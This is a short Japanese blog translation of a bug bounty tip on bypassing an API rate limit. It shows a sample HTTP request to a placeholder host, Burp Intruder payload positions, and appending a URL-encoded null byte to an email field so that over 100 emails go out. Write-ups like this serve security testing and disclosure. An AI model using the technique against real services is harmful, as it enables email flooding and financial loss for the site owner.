Shikata Ga Nai

Private? There is no such things.

Easiest way to bypass API’s Rate Limit.を訳してみた

Hello there, ('ω')ノ

 

APIのレート制限をバイパスする最も簡単な方法を。

 

脆弱性:

 レート制限バイパス

 

記事:

 https://infosecwriteups.com/bounty-tip-easiest-way-to-bypass-apis-rate-limit-f984fad40093


レート制限とは、ネットワークからの着信および発信トラフィックの量を。

制御するために使用されて。

100リクエスト/分を許可するように構成された特定のAPIを使用している場合は。

リクエストの数がその制限を超えると、エラーがトリガされて。

 

今回のプログラムでは、WebアプリケーションがREST APIで動作しており。

ユーザが、/users_log_inエンドポイントを何度もヒットすると。

下記の出力が反映されることに気付いて。

 

    HTTP/1.1 429 Too Many Requests
    Date: Mon, 10 March 2020 05:35:28 GMT
    Content-Type: text/plain

 

次のリクエストを送信して。

 POST /secret HTTP/1.1
    Host: www.Example.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 179
    Origin: https://www.Example.com
    Connection: close
    Referer: https://www.Example.com/secret/new

    Token: **Token**&utf8=%E2%9C%93&user%5email%5D=YOUR_EMAIL@example.com&commit=Send

 

次に、このリクエストをIntruderへ。

任意のペイロードを$5$で100回繰り返して。

 Language: en-US,en;q=0.$5$

 

レート制限を使い果たすたびに、%00を追加し続けると。

%00などのURLエンコードされた「ヌルバイト」は。

Webアプリケーション内のアプリケーションフィルタリングをバイパスして。

 &user%5email%5D=YOUR_EMAIL@example.com%00

 

ステータスコード 200 OKと100個以上のメールが届いて。

 

影響:

実際の影響はないものの、EメールサービスAPIまたはEメールに。

費用がかかるツールを使用している場合は。

このタイプの攻撃は経済的損失をもたらす可能性があり。

メールサービスの速度を低下させる可能性もあって。

 

Best regards, (^^ゞ